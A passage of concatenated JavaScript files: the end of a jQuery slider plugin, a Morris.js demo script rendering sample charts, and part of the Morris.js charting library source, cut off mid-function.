sliderComponent.find('.ui-slider-scale li:eq('+ j +') span.ui-slider-label, .ui-slider-scale dd:eq('+ j +') span.ui-slider-label').addClass('ui-slider-label-show');
}
}
//style the dt's
sliderComponent.find('.ui-slider-scale dt').each(function(i){
jQuery(this).css({
'left': ((100 /( groups.length))*i).toFixed(2) + '%'
});
});
//inject and return
sliderComponent
.insertAfter(jQuery(this).eq(this.length-1))
.slider(options.sliderOptions)
.attr('role','application')
.find('.ui-slider-label')
.each(function(){
jQuery(this).css('marginLeft', -jQuery(this).width()/2);
});
//update tooltip arrow inner color
sliderComponent.find('.ui-tooltip-pointer-down-inner').each(function(){
var bWidth = jQuery('.ui-tooltip-pointer-down-inner').css('borderTopWidth');
var bColor = jQuery(this).parents('.ui-slider-tooltip').css('backgroundColor')
jQuery(this).css('border-top', bWidth+' solid '+bColor);
});
var values = sliderComponent.slider('values');
if(isArray(values)){
jQuery(values).each(function(i){
sliderComponent.find('.ui-slider-tooltip .ttContent').eq(i).text( ttText(this) );
});
}
else {
sliderComponent.find('.ui-slider-tooltip .ttContent').eq(0).text( ttText(values) );
}
return this;
}
| JavaScript |
/*
* GRAPH ELEMENT NAMES
*
* #sales-graph
* #area-graph
* #bar-graph
* #normal-bar-graph
* #noline-bar-graph
* #year-graph
* #decimal-graph
* #donut-graph
* #time-graph
* #graph-B
* #nogrid-graph
* #non-continu-graph
* #non-date-graph
* #stacked-bar-graph
* #interval-graph - animated graph
*/
$(document).ready( function() {
if ($('#sales-graph').length){
Morris.Area({
element: 'sales-graph',
data: [
{period: '2010 Q1', iphone: 2666, ipad: null, itouch: 2647},
{period: '2010 Q2', iphone: 2778, ipad: 2294, itouch: 2441},
{period: '2010 Q3', iphone: 4912, ipad: 1969, itouch: 2501},
{period: '2010 Q4', iphone: 3767, ipad: 3597, itouch: 5689},
{period: '2011 Q1', iphone: 6810, ipad: 1914, itouch: 2293},
{period: '2011 Q2', iphone: 5670, ipad: 4293, itouch: 1881},
{period: '2011 Q3', iphone: 4820, ipad: 3795, itouch: 1588},
{period: '2011 Q4', iphone: 15073, ipad: 5967, itouch: 5175},
{period: '2012 Q1', iphone: 10687, ipad: 4460, itouch: 2028},
{period: '2012 Q2', iphone: 8432, ipad: 5713, itouch: 1791}
],
xkey: 'period',
ykeys: ['iphone', 'ipad', 'itouch'],
labels: ['iPhone', 'iPad', 'iPod Touch'],
pointSize: 2,
hideHover: 'auto'
});
}
// area graph
if ($('#area-graph').length){
Morris.Area({
element: 'area-graph',
data: [
{x: '2011 Q1', y: 3, z: 3},
{x: '2011 Q2', y: 2, z: 0},
{x: '2011 Q3', y: 0, z: 2},
{x: '2011 Q4', y: 4, z: 4}
],
xkey: 'x',
ykeys: ['y', 'z'],
labels: ['Y', 'Z']
});
}
// bar graph color
if ($('#bar-graph').length){
Morris.Bar({
element: 'bar-graph',
data: [
{x: '2011 Q1', y: 0},
{x: '2011 Q2', y: 1},
{x: '2011 Q3', y: 2},
{x: '2011 Q4', y: 3},
{x: '2012 Q1', y: 4},
{x: '2012 Q2', y: 5},
{x: '2012 Q3', y: 6},
{x: '2012 Q4', y: 7},
{x: '2013 Q1', y: 8}
],
xkey: 'x',
ykeys: ['y'],
labels: ['Y'],
barColors: function (row, series, type) {
if (type === 'bar') {
var red = Math.ceil(255 * row.y / this.ymax);
return 'rgb(' + red + ',0,0)';
}
else {
return '#000';
}
}
});
}
// Use Morris.Bar
if ($('#normal-bar-graph').length){
Morris.Bar({
element: 'normal-bar-graph',
data: [
{x: '2011 Q1', y: 3, z: 2, a: 3},
{x: '2011 Q2', y: 2, z: null, a: 1},
{x: '2011 Q3', y: 0, z: 2, a: 4},
{x: '2011 Q4', y: 2, z: 4, a: 3}
],
xkey: 'x',
ykeys: ['y', 'z', 'a'],
labels: ['Y', 'Z', 'A']
});
}
// Use Morris.Bar 2
if ($('#noline-bar-graph').length){
Morris.Bar({
element: 'noline-bar-graph',
axes: false,
data: [
{x: '2011 Q1', y: 3, z: 2, a: 3},
{x: '2011 Q2', y: 2, z: null, a: 1},
{x: '2011 Q3', y: 0, z: 2, a: 4},
{x: '2011 Q4', y: 2, z: 4, a: 3}
],
xkey: 'x',
ykeys: ['y', 'z', 'a'],
labels: ['Y', 'Z', 'A']
});
}
/* data stolen from http://howmanyleft.co.uk/vehicle/jaguar_'e'_type */
if ($('#year-graph').length){
var day_data = [
{"period": "2012-10-01", "licensed": 3407, "sorned": 660},
{"period": "2012-09-30", "licensed": 3351, "sorned": 629},
{"period": "2012-09-29", "licensed": 3269, "sorned": 618},
{"period": "2012-09-20", "licensed": 3246, "sorned": 661},
{"period": "2012-09-19", "licensed": 3257, "sorned": 667},
{"period": "2012-09-18", "licensed": 3248, "sorned": 627},
{"period": "2012-09-17", "licensed": 3171, "sorned": 660},
{"period": "2012-09-16", "licensed": 3171, "sorned": 676},
{"period": "2012-09-15", "licensed": 3201, "sorned": 656},
{"period": "2012-09-10", "licensed": 3215, "sorned": 622}
];
Morris.Line({
element: 'year-graph',
data: day_data,
xkey: 'period',
ykeys: ['licensed', 'sorned'],
labels: ['Licensed', 'SORN']
})
}
// decimal data
if ($('#decimal-graph').length){
var decimal_data = [];
for (var x = 0; x <= 360; x += 10) {
decimal_data.push({
x: x,
y: Math.sin(Math.PI * x / 180).toFixed(4)
});
}
window.m = Morris.Line({
element: 'decimal-graph',
data: decimal_data,
xkey: 'x',
ykeys: ['y'],
labels: ['sin(x)'],
parseTime: false,
hoverCallback: function (index, options) {
var row = options.data[index];
return "sin(" + row.x + ") = " + row.y;
},
xLabelMargin: 10
});
}
// donut
if ($('#donut-graph').length){
Morris.Donut({
element: 'donut-graph',
data: [
{value: 70, label: 'foo'},
{value: 15, label: 'bar'},
{value: 10, label: 'baz'},
{value: 5, label: 'A really really long label'}
],
formatter: function (x) { return x + "%"}
});
}
// time formatter
if ($('#time-graph').length){
var week_data = [
{"period": "2011 W27", "licensed": 3407, "sorned": 660},
{"period": "2011 W26", "licensed": 3351, "sorned": 629},
{"period": "2011 W25", "licensed": 3269, "sorned": 618},
{"period": "2011 W24", "licensed": 3246, "sorned": 661},
{"period": "2011 W23", "licensed": 3257, "sorned": 667},
{"period": "2011 W22", "licensed": 3248, "sorned": 627},
{"period": "2011 W21", "licensed": 3171, "sorned": 660},
{"period": "2011 W20", "licensed": 3171, "sorned": 676},
{"period": "2011 W19", "licensed": 3201, "sorned": 656},
{"period": "2011 W18", "licensed": 3215, "sorned": 622},
{"period": "2011 W17", "licensed": 3148, "sorned": 632},
{"period": "2011 W16", "licensed": 3155, "sorned": 681},
{"period": "2011 W15", "licensed": 3190, "sorned": 667},
{"period": "2011 W14", "licensed": 3226, "sorned": 620},
{"period": "2011 W13", "licensed": 3245, "sorned": null},
{"period": "2011 W12", "licensed": 3289, "sorned": null},
{"period": "2011 W11", "licensed": 3263, "sorned": null},
{"period": "2011 W10", "licensed": 3189, "sorned": null},
{"period": "2011 W09", "licensed": 3079, "sorned": null},
{"period": "2011 W08", "licensed": 3085, "sorned": null},
{"period": "2011 W07", "licensed": 3055, "sorned": null},
{"period": "2011 W06", "licensed": 3063, "sorned": null},
{"period": "2011 W05", "licensed": 2943, "sorned": null},
{"period": "2011 W04", "licensed": 2806, "sorned": null},
{"period": "2011 W03", "licensed": 2674, "sorned": null},
{"period": "2011 W02", "licensed": 1702, "sorned": null},
{"period": "2011 W01", "licensed": 1732, "sorned": null}
];
Morris.Line({
element: 'time-graph',
data: week_data,
xkey: 'period',
ykeys: ['licensed', 'sorned'],
labels: ['Licensed', 'SORN'],
events: [
'2011-04',
'2011-08'
]
});
}
// negative value
if ($('#graph-B').length){
var neg_data = [
{"period": "2011-08-12", "a": 100},
{"period": "2011-03-03", "a": 75},
{"period": "2010-08-08", "a": 50},
{"period": "2010-05-10", "a": 25},
{"period": "2010-03-14", "a": 0},
{"period": "2010-01-10", "a": -25},
{"period": "2009-12-10", "a": -50},
{"period": "2009-10-07", "a": -75},
{"period": "2009-09-25", "a": -100}
];
Morris.Line({
element: 'graph-B',
data: neg_data,
xkey: 'period',
ykeys: ['a'],
labels: ['Series A'],
units: '%'
});
}
// no grid
/* data stolen from http://howmanyleft.co.uk/vehicle/jaguar_'e'_type */
if ($('#nogrid-graph').length){
var day_data = [
{"period": "2012-10-01", "licensed": 3407, "sorned": 660},
{"period": "2012-09-30", "licensed": 3351, "sorned": 629},
{"period": "2012-09-29", "licensed": 3269, "sorned": 618},
{"period": "2012-09-20", "licensed": 3246, "sorned": 661},
{"period": "2012-09-19", "licensed": 3257, "sorned": 667},
{"period": "2012-09-18", "licensed": 3248, "sorned": 627},
{"period": "2012-09-17", "licensed": 3171, "sorned": 660},
{"period": "2012-09-16", "licensed": 3171, "sorned": 676},
{"period": "2012-09-15", "licensed": 3201, "sorned": 656},
{"period": "2012-09-10", "licensed": 3215, "sorned": 622}
];
Morris.Line({
element: 'nogrid-graph',
grid: false,
data: day_data,
xkey: 'period',
ykeys: ['licensed', 'sorned'],
labels: ['Licensed', 'SORN']
});
}
// non-continus data
/* data stolen from http://howmanyleft.co.uk/vehicle/jaguar_'e'_type */
if ($('#non-continu-graph').length){
var day_data = [
{"period": "2012-10-01", "licensed": 3407},
{"period": "2012-09-30", "sorned": 0},
{"period": "2012-09-29", "sorned": 618},
{"period": "2012-09-20", "licensed": 3246, "sorned": 661},
{"period": "2012-09-19", "licensed": 3257, "sorned": null},
{"period": "2012-09-18", "licensed": 3248, "other": 1000},
{"period": "2012-09-17", "sorned": 0},
{"period": "2012-09-16", "sorned": 0},
{"period": "2012-09-15", "licensed": 3201, "sorned": 656},
{"period": "2012-09-10", "licensed": 3215}
];
Morris.Line({
element: 'non-continu-graph',
data: day_data,
xkey: 'period',
ykeys: ['licensed', 'sorned', 'other'],
labels: ['Licensed', 'SORN', 'Other'],
/* custom label formatting with `xLabelFormat` */
xLabelFormat: function(d) { return (d.getMonth()+1)+'/'+d.getDate()+'/'+d.getFullYear(); },
/* setting `xLabels` is recommended when using xLabelFormat */
xLabels: 'day'
});
}
// non date data
if ($('#non-date-graph').length){
var day_data = [
{"elapsed": "I", "value": 34},
{"elapsed": "II", "value": 24},
{"elapsed": "III", "value": 3},
{"elapsed": "IV", "value": 12},
{"elapsed": "V", "value": 13},
{"elapsed": "VI", "value": 22},
{"elapsed": "VII", "value": 5},
{"elapsed": "VIII", "value": 26},
{"elapsed": "IX", "value": 12},
{"elapsed": "X", "value": 19}
];
Morris.Line({
element: 'non-date-graph',
data: day_data,
xkey: 'elapsed',
ykeys: ['value'],
labels: ['value'],
parseTime: false
});
}
//stacked bar
if ($('#stacked-bar-graph').length){
Morris.Bar({
element: 'stacked-bar-graph',
axes: false,
grid: false,
data: [
{x: '2011 Q1', y: 3, z: 2, a: 3},
{x: '2011 Q2', y: 2, z: null, a: 1},
{x: '2011 Q3', y: 0, z: 2, a: 4},
{x: '2011 Q4', y: 2, z: 4, a: 3}
],
xkey: 'x',
ykeys: ['y', 'z', 'a'],
labels: ['Y', 'Z', 'A'],
stacked: true
});
}
// interval
if ($('#interval-graph').length){
var nReloads = 0;
function data(offset) {
var ret = [];
for (var x = 0; x <= 360; x += 10) {
var v = (offset + x) % 360;
ret.push({
x: x,
y: Math.sin(Math.PI * v / 180).toFixed(4),
z: Math.cos(Math.PI * v / 180).toFixed(4)
});
}
return ret;
}
var graph = Morris.Line({
element: 'interval-graph',
data: data(0),
xkey: 'x',
ykeys: ['y', 'z'],
labels: ['sin()', 'cos()'],
parseTime: false,
ymin: -1.0,
ymax: 1.0,
hideHover: true
});
function update() {
nReloads++;
graph.setData(data(5 * nReloads));
$('#reloadStatus').text(nReloads + ' reloads');
}
setInterval(update, 100);
}
});
| JavaScript |
(function() {
var $, Morris, minutesSpecHelper, secondsSpecHelper,
__slice = [].slice,
__hasProp = {}.hasOwnProperty,
__extends = function(child, parent) { for (var key in parent) { if (__hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; },
__bind = function(fn, me){ return function(){ return fn.apply(me, arguments); }; },
__indexOf = [].indexOf || function(item) { for (var i = 0, l = this.length; i < l; i++) { if (i in this && this[i] === item) return i; } return -1; };
Morris = window.Morris = {};
$ = jQuery;
Morris.EventEmitter = (function() {
function EventEmitter() {}
EventEmitter.prototype.on = function(name, handler) {
if (this.handlers == null) {
this.handlers = {};
}
if (this.handlers[name] == null) {
this.handlers[name] = [];
}
return this.handlers[name].push(handler);
};
EventEmitter.prototype.fire = function() {
var args, handler, name, _i, _len, _ref, _results;
name = arguments[0], args = 2 <= arguments.length ? __slice.call(arguments, 1) : [];
if ((this.handlers != null) && (this.handlers[name] != null)) {
_ref = this.handlers[name];
_results = [];
for (_i = 0, _len = _ref.length; _i < _len; _i++) {
handler = _ref[_i];
_results.push(handler.apply(null, args));
}
return _results;
}
};
return EventEmitter;
})();
Morris.commas = function(num) {
var absnum, intnum, ret, strabsnum;
if (num != null) {
ret = num < 0 ? "-" : "";
absnum = Math.abs(num);
intnum = Math.floor(absnum).toFixed(0);
ret += intnum.replace(/(?=(?:\d{3})+$)(?!^)/g, ',');
strabsnum = absnum.toString();
if (strabsnum.length > intnum.length) {
ret += strabsnum.slice(intnum.length);
}
return ret;
} else {
return '-';
}
};
Morris.pad2 = function(number) {
return (number < 10 ? '0' : '') + number;
};
Morris.Grid = (function(_super) {
__extends(Grid, _super);
function Grid(options) {
var _this = this;
if (typeof options.element === 'string') {
this.el = $(document.getElementById(options.element));
} else {
this.el = $(options.element);
}
if (!(this.el != null) || this.el.length === 0) {
throw new Error("Graph container element not found");
}
if (this.el.css('position') === 'static') {
this.el.css('position', 'relative');
}
this.options = $.extend({}, this.gridDefaults, this.defaults || {}, options);
if (typeof this.options.units === 'string') {
this.options.postUnits = options.units;
}
this.raphael = new Raphael(this.el[0]);
this.elementWidth = null;
this.elementHeight = null;
this.dirty = false;
if (this.init) {
this.init();
}
this.setData(this.options.data);
this.el.bind('mousemove', function(evt) {
var offset;
offset = _this.el.offset();
return _this.fire('hovermove', evt.pageX - offset.left, evt.pageY - offset.top);
});
this.el.bind('mouseout', function(evt) {
return _this.fire('hoverout');
});
this.el.bind('touchstart touchmove touchend', function(evt) {
var offset, touch;
touch = evt.originalEvent.touches[0] || evt.originalEvent.changedTouches[0];
offset = _this.el.offset();
_this.fire('hover', touch.pageX - offset.left, touch.pageY - offset.top);
return touch;
});
if (this.postInit) {
this.postInit();
}
}
Grid.prototype.gridDefaults = {
dateFormat: null,
axes: true,
grid: true,
gridLineColor: '#aaa',
gridStrokeWidth: 0.5,
gridTextColor: '#888',
gridTextSize: 12,
hideHover: false,
yLabelFormat: null,
numLines: 5,
padding: 25,
parseTime: true,
postUnits: '',
preUnits: '',
ymax: 'auto',
ymin: 'auto 0',
goals: [],
goalStrokeWidth: 1.0,
goalLineColors: ['#666633', '#999966', '#cc6666', '#663333'],
events: [],
eventStrokeWidth: 1.0,
eventLineColors: ['#005a04', '#ccffbb', '#3a5f0b', '#005502']
};
Grid.prototype.setData = function(data, redraw) {
var e, idx, index, maxGoal, minGoal, ret, row, total, ykey, ymax, ymin, yval;
if (redraw == null) {
redraw = true;
}
if (!(data != null) || data.length === 0) {
this.data = [];
this.raphael.clear();
if (this.hover != null) {
this.hover.hide();
}
return;
}
ymax = this.cumulative ? 0 : null;
ymin = this.cumulative ? 0 : null;
if (this.options.goals.length > 0) {
minGoal = Math.min.apply(null, this.options.goals);
maxGoal = Math.max.apply(null, this.options.goals);
ymin = ymin != null ? Math.min(ymin, minGoal) : minGoal;
ymax = ymax != null ? Math.max(ymax, maxGoal) : maxGoal;
}
this.data = (function() {
var _i, _len, _results;
_results = [];
for (index = _i = 0, _len = data.length; _i < _len; index = ++_i) {
row = data[index];
ret = {};
ret.label = row[this.options.xkey];
if (this.options.parseTime) {
ret.x = Morris.parseDate(ret.label);
if (this.options.dateFormat) {
ret.label = this.options.dateFormat(ret.x);
} else if (typeof ret.label === 'number') {
ret.label = new Date(ret.label).toString();
}
} else {
ret.x = index;
}
total = 0;
ret.y = (function() {
var _j, _len1, _ref, _results1;
_ref = this.options.ykeys;
_results1 = [];
for (idx = _j = 0, _len1 = _ref.length; _j < _len1; idx = ++_j) {
ykey = _ref[idx];
yval = row[ykey];
if (typeof yval === 'string') {
yval = parseFloat(yval);
}
if ((yval != null) && typeof yval !== 'number') {
yval = null;
}
if (yval != null) {
if (this.cumulative) {
total += yval;
} else {
if (ymax != null) {
ymax = Math.max(yval, ymax);
ymin = Math.min(yval, ymin);
} else {
ymax = ymin = yval;
}
}
}
if (this.cumulative && (total != null)) {
ymax = Math.max(total, ymax);
ymin = Math.min(total, ymin);
}
_results1.push(yval);
}
return _results1;
}).call(this);
_results.push(ret);
}
return _results;
}).call(this);
if (this.options.parseTime) {
this.data = this.data.sort(function(a, b) {
return (a.x > b.x) - (b.x > a.x);
});
}
this.xmin = this.data[0].x;
this.xmax = this.data[this.data.length - 1].x;
this.events = [];
if (this.options.parseTime && this.options.events.length > 0) {
this.events = (function() {
var _i, _len, _ref, _results;
_ref = this.options.events;
_results = [];
for (_i = 0, _len = _ref.length; _i < _len; _i++) {
e = _ref[_i];
_results.push(Morris.parseDate(e));
}
return _results;
}).call(this);
this.xmax = Math.max(this.xmax, Math.max.apply(null, this.events));
this.xmin = Math.min(this.xmin, Math.min.apply(null, this.events));
}
if (this.xmin === this.xmax) {
this.xmin -= 1;
this.xmax += 1;
}
this.ymin = this.yboundary('min', ymin);
this.ymax = this.yboundary('max', ymax);
if (this.ymin === this.ymax) {
if (ymin) {
this.ymin -= 1;
}
this.ymax += 1;
}
this.yInterval = (this.ymax - this.ymin) / (this.options.numLines - 1);
if (this.yInterval > 0 && this.yInterval < 1) {
this.precision = -Math.floor(Math.log(this.yInterval) / Math.log(10));
} else {
this.precision = 0;
}
this.dirty = true;
if (redraw) {
return this.redraw();
}
};
Grid.prototype.yboundary = function(boundaryType, currentValue) {
var boundaryOption, suggestedValue;
boundaryOption = this.options["y" + boundaryType];
if (typeof boundaryOption === 'string') {
if (boundaryOption.slice(0, 4) === 'auto') {
if (boundaryOption.length > 5) {
suggestedValue = parseInt(boundaryOption.slice(5), 10);
if (currentValue == null) {
return suggestedValue;
}
return Math[boundaryType](currentValue, suggestedValue);
} else {
if (currentValue != null) {
return currentValue;
} else {
return 0;
}
}
} else {
return parseInt(boundaryOption, 10);
}
} else {
return boundaryOption;
}
};
Grid.prototype._calc = function() {
var h, maxYLabelWidth, w;
w = this.el.width();
h = this.el.height();
if (this.elementWidth !== w || this.elementHeight !== h || this.dirty) {
this.elementWidth = w;
this.elementHeight = h;
this.dirty = false;
this.left = this.options.padding;
this.right = this.elementWidth - this.options.padding;
this.top = this.options.padding;
this.bottom = this.elementHeight - this.options.padding;
if (this.options.axes) {
maxYLabelWidth = Math.max(this.measureText(this.yAxisFormat(this.ymin), this.options.gridTextSize).width, this.measureText(this.yAxisFormat(this.ymax), this.options.gridTextSize).width);
this.left += maxYLabelWidth;
this.bottom -= 1.5 * this.options.gridTextSize;
}
this.width = this.right - this.left;
this.height = this.bottom - this.top;
this.dx = this.width / (this.xmax - this.xmin);
this.dy = this.height / (this.ymax - this.ymin);
if (this.calc) {
return this.calc();
}
}
};
Grid.prototype.transY = function(y) {
return this.bottom - (y - this.ymin) * this.dy;
};
Grid.prototype.transX = function(x) {
if (this.data.length === 1) {
return (this.left + this.right) / 2;
} else {
return this.left + (x - this.xmin) * this.dx;
}
};
Grid.prototype.redraw = function() {
this.raphael.clear();
this._calc();
this.drawGrid();
this.drawGoals();
this.drawEvents();
if (this.draw) {
return this.draw();
}
};
Grid.prototype.measureText = function(text, fontSize) {
var ret, tt;
if (fontSize == null) {
fontSize = 12;
}
tt = this.raphael.text(100, 100, text).attr('font-size', fontSize);
ret = tt.getBBox();
tt.remove();
return ret;
};
Grid.prototype.yAxisFormat = function(label) {
return this.yLabelFormat(label);
};
Grid.prototype.yLabelFormat = function(label) {
if (typeof this.options.yLabelFormat === 'function') {
return this.options.yLabelFormat(label);
} else {
return "" + this.options.preUnits + (Morris.commas(label)) + this.options.postUnits;
}
};
Grid.prototype.updateHover = function(x, y) {
var hit, _ref;
hit = this.hitTest(x, y);
if (hit != null) {
return (_ref = this.hover).update.apply(_ref, hit);
}
};
Grid.prototype.drawGrid = function() {
var firstY, lastY, lineY, v, y, _i, _ref, _results;
if (this.options.grid === false && this.options.axes === false) {
return;
}
firstY = this.ymin;
lastY = this.ymax;
_results = [];
for (lineY = _i = firstY, _ref = this.yInterval; firstY <= lastY ? _i <= lastY : _i >= lastY; lineY = _i += _ref) {
v = parseFloat(lineY.toFixed(this.precision));
y = this.transY(v);
if (this.options.axes) {
this.drawYAxisLabel(this.left - this.options.padding / 2, y, this.yAxisFormat(v));
}
if (this.options.grid) {
_results.push(this.drawGridLine("M" + this.left + "," + y + "H" + (this.left + this.width)));
} else {
_results.push(void 0);
}
}
return _results;
};
Grid.prototype.drawGoals = function() {
var color, goal, i, _i, _len, _ref, _results;
_ref = this.options.goals;
_results = [];
for (i = _i = 0, _len = _ref.length; _i < _len; i = ++_i) {
goal = _ref[i];
color = this.options.goalLineColors[i % this.options.goalLineColors.length];
_results.push(this.drawGoal(goal, color));
}
return _results;
};
Grid.prototype.drawEvents = function() {
var color, event, i, _i, _len, _ref, _results;
_ref = this.events;
_results = [];
for (i = _i = 0, _len = _ref.length; _i < _len; i = ++_i) {
event = _ref[i];
color = this.options.eventLineColors[i % this.options.eventLineColors.length];
_results.push(this.drawEvent(event, color));
}
return _results;
};
Grid.prototype.drawGoal = function(goal, color) {
return this.raphael.path("M" + this.left + "," + (this.transY(goal)) + "H" + this.right).attr('stroke', color).attr('stroke-width', this.options.goalStrokeWidth);
};
Grid.prototype.drawEvent = function(event, color) {
return this.raphael.path("M" + (this.transX(event)) + "," + this.bottom + "V" + this.top).attr('stroke', color).attr('stroke-width', this.options.eventStrokeWidth);
};
Grid.prototype.drawYAxisLabel = function(xPos, yPos, text) {
return this.raphael.text(xPos, yPos, text).attr('font-size', this.options.gridTextSize).attr('fill', this.options.gridTextColor).attr('text-anchor', 'end');
};
Grid.prototype.drawGridLine = function(path) {
return this.raphael.path(path).attr('stroke', this.options.gridLineColor).attr('stroke-width', this.options.gridStrokeWidth);
};
return Grid;
})(Morris.EventEmitter);
Morris.parseDate = function(date) {
var isecs, m, msecs, n, o, offsetmins, p, q, r, ret, secs;
if (typeof date === 'number') {
return date;
}
m = date.match(/^(\d+) Q(\d)$/);
n = date.match(/^(\d+)-(\d+)$/);
o = date.match(/^(\d+)-(\d+)-(\d+)$/);
p = date.match(/^(\d+) W(\d+)$/);
q = date.match(/^(\d+)-(\d+)-(\d+)[ T](\d+):(\d+)(Z|([+-])(\d\d):?(\d\d))?$/);
r = date.match(/^(\d+)-(\d+)-(\d+)[ T](\d+):(\d+):(\d+(\.\d+)?)(Z|([+-])(\d\d):?(\d\d))?$/);
if (m) {
return new Date(parseInt(m[1], 10), parseInt(m[2], 10) * 3 - 1, 1).getTime();
} else if (n) {
return new Date(parseInt(n[1], 10), parseInt(n[2], 10) - 1, 1).getTime();
} else if (o) {
return new Date(parseInt(o[1], 10), parseInt(o[2], 10) - 1, parseInt(o[3], 10)).getTime();
} else if (p) {
ret = new Date(parseInt(p[1], 10), 0, 1);
if (ret.getDay() !== 4) {
ret.setMonth(0, 1 + ((4 - ret.getDay()) + 7) % 7);
}
return ret.getTime() + parseInt(p[2], 10) * 604800000;
} else if (q) {
if (!q[6]) {
return new Date(parseInt(q[1], 10), parseInt(q[2], 10) - 1, parseInt(q[3], 10), parseInt(q[4], 10), parseInt(q[5], 10)).getTime();
} else {
offsetmins = 0;
if (q[6] !== 'Z') {
offsetmins = parseInt(q[8], 10) * 60 + parseInt(q[9], 10);
if (q[7] === '+') {
offsetmins = 0 - offsetmins;
}
}
return Date.UTC(parseInt(q[1], 10), parseInt(q[2], 10) - 1, parseInt(q[3], 10), parseInt(q[4], 10), parseInt(q[5], 10) + offsetmins);
}
} else if (r) {
secs = parseFloat(r[6]);
isecs = Math.floor(secs);
msecs = Math.round((secs - isecs) * 1000);
if (!r[8]) {
return new Date(parseInt(r[1], 10), parseInt(r[2], 10) - 1, parseInt(r[3], 10), parseInt(r[4], 10), parseInt(r[5], 10), isecs, msecs).getTime();
} else {
offsetmins = 0;
if (r[8] !== 'Z') {
offsetmins = parseInt(r[10], 10) * 60 + parseInt(r[11], 10);
if (r[9] === '+') {
offsetmins = 0 - offsetmins;
}
}
return Date.UTC(parseInt(r[1], 10), parseInt(r[2], 10) - 1, parseInt(r[3], 10), parseInt(r[4], 10), parseInt(r[5], 10) + offsetmins, isecs, msecs);
}
} else {
return new Date(parseInt(date, 10), 0, 1).getTime();
}
};
Morris.Hover = (function() {
Hover.defaults = {
"class": 'morris-hover morris-default-style'
};
function Hover(options) {
if (options == null) {
options = {};
}
this.options = $.extend({}, Morris.Hover.defaults, options);
this.el = $("<div class='" + this.options["class"] + "'></div>");
this.el.hide();
this.options.parent.append(this.el);
}
Hover.prototype.update = function(html, x, y) {
this.html(html);
this.show();
return this.moveTo(x, y);
};
Hover.prototype.html = function(content) {
return this.el.html(content);
};
Hover.prototype.moveTo = function(x, y) {
var hoverHeight, hoverWidth, left, parentHeight, parentWidth, top;
parentWidth = this.options.parent.innerWidth();
parentHeight = this.options.parent.innerHeight();
hoverWidth = this.el.outerWidth();
hoverHeight = this.el.outerHeight();
left = Math.min(Math.max(0, x - hoverWidth / 2), parentWidth - hoverWidth);
if (y != null) {
top = y - hoverHeight - 10;
if (top < 0) {
top = y + 10;
if (top + hoverHeight > parentHeight) {
top = parentHeight / 2 - hoverHeight / 2;
}
}
} else {
top = parentHeight / 2 - hoverHeight / 2;
}
return this.el.css({
left: left + "px",
top: top + "px"
});
};
Hover.prototype.show = function() {
return this.el.show();
};
Hover.prototype.hide = function() {
return this.el.hide();
};
return Hover;
})();
Morris.Line = (function(_super) {
__extends(Line, _super);
function Line(options) {
this.hilight = __bind(this.hilight, this);
this.onHoverOut = __bind(this.onHoverOut, this);
this.onHoverMove = __bind(this.onHoverMove, this);
if (!(this instanceof Morris.Line)) {
return new Morris.Line(options);
}
Line.__super__.constructor.call(this, options);
}
Line.prototype.init = function() {
this.pointGrow = Raphael.animation({
r: this.options.pointSize + 3
}, 25, 'linear');
this.pointShrink = Raphael.animation({
r: this.options.pointSize
}, 25, 'linear');
if (this.options.hideHover !== 'always') {
this.hover = new Morris.Hover({
parent: this.el
});
this.on('hovermove', this.onHoverMove);
return this.on('hoverout', this.onHoverOut);
}
};
Line.prototype.defaults = {
lineWidth: 3,
pointSize: 4,
lineColors: ['#57889c', '#71843f', '#92a2a8', '#afd8f8', '#edc240', '#cb4b4b', '#9440ed'],
pointWidths: [1],
pointStrokeColors: ['#ffffff'],
pointFillColors: [],
smooth: true,
xLabels: 'auto',
xLabelFormat: null,
xLabelMargin: 50,
continuousLine: true,
hideHover: false
};
Line.prototype.calc = function() {
this.calcPoints();
return this.generatePaths();
};
Line.prototype.calcPoints = function() {
var row, y, _i, _len, _ref, _results;
_ref = this.data;
_results = [];
for (_i = 0, _len = _ref.length; _i < _len; _i++) {
row = _ref[_i];
row._x = this.transX(row.x);
row._y = (function() {
var _j, _len1, _ref1, _results1;
_ref1 = row.y;
_results1 = [];
for (_j = 0, _len1 = _ref1.length; _j < _len1; _j++) {
y = _ref1[_j];
if (y != null) {
_results1.push(this.transY(y));
} else {
_results1.push(y);
}
}
return _results1;
}).call(this);
_results.push(row._ymax = Math.min.apply(null, [this.bottom].concat((function() {
var _j, _len1, _ref1, _results1;
_ref1 = row._y;
_results1 = [];
for (_j = 0, _len1 = _ref1.length; _j < _len1; _j++) {
y = _ref1[_j];
if (y != null) {
_results1.push(y);
}
}
return _results1;
})())));
}
return _results;
};
Line.prototype.hitTest = function(x, y) {
var index, r, _i, _len, _ref;
if (this.data.length === 0) {
return null;
}
_ref = this.data.slice(1);
for (index = _i = 0, _len = _ref.length; _i < _len; index = ++_i) {
r = _ref[index];
if (x < (r._x + this.data[index]._x) / 2) {
break;
}
}
return index;
};
Line.prototype.onHoverMove = function(x, y) {
var index;
index = this.hitTest(x, y);
return this.displayHoverForRow(index);
};
Line.prototype.onHoverOut = function() {
if (this.options.hideHover === 'auto') {
return this.displayHoverForRow(null);
}
};
Line.prototype.displayHoverForRow = function(index) {
var _ref;
if (index != null) {
(_ref = this.hover).update.apply(_ref, this.hoverContentForRow(index));
return this.hilight(index);
} else {
this.hover.hide();
return this.hilight();
}
};
Line.prototype.hoverContentForRow = function(index) {
var content, j, row, y, _i, _len, _ref;
row = this.data[index];
if (typeof this.options.hoverCallback === 'function') {
content = this.options.hoverCallback(index, this.options);
} else {
content = "<div class='morris-hover-row-label'>" + row.label + "</div>";
_ref = row.y;
for (j = _i = 0, _len = _ref.length; _i < _len; j = ++_i) {
y = _ref[j];
content += "<div class='morris-hover-point' style='color: " + (this.colorFor(row, j, 'label')) + "'>\n " + this.options.labels[j] + ":\n " + (this.yLabelFormat(y)) + "\n</div>";
}
}
return [content, row._x, row._ymax];
};
Line.prototype.generatePaths = function() {
var c, coords, i, r, smooth;
return this.paths = (function() {
var _i, _ref, _ref1, _results;
_results = [];
for (i = _i = 0, _ref = this.options.ykeys.length; 0 <= _ref ? _i < _ref : _i > _ref; i = 0 <= _ref ? ++_i : --_i) {
smooth = this.options.smooth === true || (_ref1 = this.options.ykeys[i], __indexOf.call(this.options.smooth, _ref1) >= 0);
coords = (function() {
var _j, _len, _ref2, _results1;
_ref2 = this.data;
_results1 = [];
